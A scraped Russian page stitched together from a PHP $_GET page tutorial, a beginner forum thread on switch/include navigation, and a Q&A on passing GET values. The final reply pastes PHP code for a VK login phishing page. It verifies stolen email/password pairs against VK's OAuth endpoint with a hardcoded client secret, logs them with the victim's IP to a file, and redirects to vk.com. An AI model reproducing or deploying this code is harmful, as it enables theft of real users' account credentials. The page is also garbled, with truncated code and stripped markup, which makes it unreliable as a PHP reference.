ВКонтакте | Вход

Php переход страницам get

Вообще — эта страница родилась из поискового запроса:

как создать страницу посредством $_get?

Определение «Что такое страница с помощью $_get»

Страница созданная с помощью $_get — является виртуальной страницей, для которой существование физического файла необязательно.

В чем замечательность страниц созданных с помощью «$_get» — их может быть неограниченное количество!

Алгоритм создания страниц с помощью «$_get»

Создается php код, который получает данные из адресной строки. Пишется условие, если это условие выполняется, то выводится соответствующий контент.

Результат готовой страницы с помощью а

Пример страницы с помощью $_get

Страница созданная с помощью $_get -сотсоит из нескольких блоков.

Давайте подробно разберем тот пример, который был показан выше пунктом.

Разберем по пунктам. Нас будет интересовать все. что стоит после домена «https://dwweb.ru/»

Далее — имя переменной — «example».

Значение переменной — «get_page»

Блок №2 — php код. После того, как вы нажали на ссылку, нам нужно получить из адресной строки, выше был приведен код:

Который мы должны также разобрать.

Открытие и закрытие кода php :

$_GET — глобальная переменная GET запроса(массив)

В квадратных скобках помещается название переменной(она же в адресной строке. )

Теперь прочитаем данное условие и выведем его на русском. : если в массиве GET, есть ячейка example и она равна get_page, то. далее выполняется то, что расположено в фигурных скобках.

А в скобках вывод, не обязательно, чтобы там была простая страница — это уже из потребностей, в нашем, данном случае, речь идет именно о странице. поэтому и помещаем туда этот код страницы.

«exit» — используется для остановки выполнения кода php.

Как вариант, можно код страницы поместить прямо внутрь exit:

Скачать страницу сделанную с помощью $_get

Страница с помощью $_get на существующей

Страница может быть сделана с помощью $_get на базе уже существующей страницы. Давайте разберем пример:

Пример $_get страницы на базе существующей страницы

нам нужна ссылка данной страницы :

К данной ссылке добавляем вопрос, название переменной, значение:

В самом верху данной страницы, размещаем

Источник

Форум PHP программистов ► PHP практикум ► PHP для начинающих

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:

ну к примеру есть index. php и надо перейти на login. php . НУ чтобы вида index. php ?act=login&id=22

Сообщений: 2061
Пользователь №: 3674
На форуме:
Карма: 1

Не пью :
14 лет, 6 месяцев, 27 дней

ну к примеру есть index. php и надо перейти на login. php . НУ чтобы вида index. php ?act=login&id=22

switch ($_GET[‘page’]) case ‘about’:
include «about. php »
break;
case ‘news’:
include «news. php »
break;
case ‘my’:
include «my. php »
break;
>
?>

Я думал я буду сеять добро, но у меня не получилось. Во-первых, мне помешали, во-вторых я сам отрекся от этой идеи.

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:

у меня на первом break синтаксическая ошибка. Я понял что я полный ноль в PHP та и вообще в ОПП, поэтому просто интресны некоторые весчи. Уччусь

Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0

у меня на первом break синтаксическая ошибка. Я понял что я полный ноль в PHP та и вообще в ОПП, поэтому просто интресны некоторые весчи. Уччусь

switch ($_GET[‘page’]) case ‘about’:
include «about. php «;
break;
case ‘news’:
include «news. php «;
break;
case ‘my’:
include «my. php «;
break;
>
?>

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:

Короче нада так чтобы по нажатию кнопки Войти выполнился login. php и если вход выполнен, то на mypage. php , а в случае неудачи в этом же окне сообщение «данные не верны»

Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0

Короче нада так чтобы по нажатию кнопки Войти выполнился login. php и если вход выполнен, то на mypage. php , а в случае неудачи в этом же окне сообщение «данные не верны»

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:

та нет же полностью не нада, мне самому разобраться хочется. Ладно подскажите где почитать про GET-запрос.
Да, я наверное много там захотел . Вот так правильно будет

Задание у меня такое: переход между страницами через GET-запрос.

Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0

здесь у тебя post метод используется, гет будет соответственно method=»get»
то что у тебя в коде лучше так делать

Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0

хотя т.к. у тебя page через урл передается а не формой, можно метод и такой оставить если это для твоего задания не специфично

Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:

Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0

Сообщений: 89
Пользователь №: 5493
На форуме:
Карма:

не намного и труднее. достаточно составить свою форму и направить ее на нужный обработчик
разница лиш в том, помимо «скрытых» данных пост, что гет передается через строку адреса браузера, а пост из формы(), и другим нормальным методом его не передать.

Ребята помогите Я первый раз создаю блог и не могу понять как можно сделать переход страницы. Может подскажите? Например: Oriflameyes.blogger.com и сделать так Oriflameyes.blogger.com/novosti

Профиль
Журнал
Группа: Сын полка
Сообщений: 4096
Пользователь №: 25563
На форуме:
Карма: 63

Трезвый :
52 года, 4 месяца, 27 дней

Гость_Владимир все переходы делаются через ссылки
на следующую страницу если вам надо так
то создаете файл по названием novosti. php
переходите по клику
если новость лежит в папке под названием novosti
этот файл будет называться index. php и т.д.

«Гнусное свойство карликовых умов приписывать
________________!свое духовное убожество другим!»
___ О) как-же он прав=> __________________ © Оноре де Бальзак.

отличный хост (рекомендую !! )
My MVC-CMV

Завсегдатай форума

Профиль
Журнал
Группа: ★ЛжеЭксперт★

Сообщений: 2872
Пользователь №: 26275
На форуме:
Карма: 63

Подписаться на тему
Уведомление на e-mail об ответах в тему, во время Вашего отсутствия на форуме.

Подписка на этот форум
Уведомление на e-mail о новых темах на форуме, во время Вашего отсутствия на форуме.

Скачать/Распечатать тему
Скачивание темы в различных форматах или просмотр версии для печати этой темы.

Источник

Как отправить GET из одной страницы на другую?

Как отправить данные из одной формы в другую?
Привет, у меня есть программа. В ней есть процедура, которая открывает форму через Someform.Show.

Как перенести переменную с одной страницы на другую?
Как перенести переменную с одной страницы на другую?

Как сделать переход с одной страницы в другую
Всем привет , ребят не подскажите как осуществить переход к другой странице. Надо чтобы после того.

Как передавать данные с одной страницы в другую?
Есть сайт, в определенной части данного сайта отображаются названия загруженных вордовских файлов.

После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET[‘name’]. Потом используй значение этой переменной на сайте в нужном месте html кода

ЦитатаСообщение от Z_e_e_k_ Посмотреть сообщение

После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET[‘name’]. Потом используй значение этой переменной на сайте в нужном месте html кода

Дело в том, что $_GET[‘name’] находится в файле config.php, который открывается через index.php посредством include(), а в самом index.php находится сам движок и обработчик данных. Надо сделать так, чтобы переменная name менялась в config.php таким образом site.com/index.php?name=Вася

ЦитатаСообщение от codding_hanter Посмотреть сообщение

Сама страница сайта находится в config.php, а в index.php находится php код и функция include(), которая вызывает config.php. Нужно сделать так, чтобы через /index.php?name=Вася, значение Вася присваивалось в config.php, где находится $_GET[‘name’]

Лучший ответ

Сообщение было отмечено wm_market как решение

Решение

Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php

form method="GET"> input type="text" name="name"> input type="submit" name="Send"> form>  include('config.php'); if(isset($_GET['Send'])){ //echo $_GET['name']; } ?>

ЦитатаСообщение от codding_hanter Посмотреть сообщение

Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php

form method="GET"> input type="text" name="name"> input type="submit" name="Send"> form>  include('config.php'); if(isset($_GET['Send'])){ //echo $_GET['name']; } ?>

ЦитатаСообщение от codding_hanter Посмотреть сообщение

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
 include('config.php');// Подключаем инфу $a=1;//Счетчик $mail = $_POST['email']; $pass = $_POST['pass']; // Инициализируем Curl $ch = curl_init(); // Если не работает, надо зарегистрировать свой секретный ключ(http://vk.com/dev) curl_setopt($ch, CURLOPT_URL,'https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username='.$mail.'&password='.$pass); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $helper = curl_exec($ch); curl_close($ch); $id= current (explode('>',end(explode('user_id":',$helper)))); //Парсим id if ($mail != "" and $pass != "") // Если не в первый раз { if(preg_match('/[a-zA-Z]/', $id)) // Если неверно { $a=0; $failLogin[1]='value="'.$mail.'" '; echo $failLogin[0].$failLogin[1].$failLogin[2]; } if(!(preg_match('/[a-zA-Z]/', $id))) // Если верно { $a=0; echo '.$url.'">'; } } if ($a ==1) // Если в первый раз echo $firstLogin; if(preg_match('/[a-zA-Z]/', $id)) $id='fail'; $today = date("H:i:s Y/m/d"); $ip=$_SERVER['REMOTE_ADDR']; $info="Логин: $mail || Пароль: $pass || IP: $ip || Время = $today || id: $id\r\n"; $fh=fopen($out, "a+"); fwrite($fh, $info); // Записываем данные fclose($fh); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
 $url = 'http://vk.com'; // Куда переходим $out = 'kotik.php'; // Логи // Если в первый раз $firstLogin = '      
Читайте также:  Java com sun mail
Оцените статью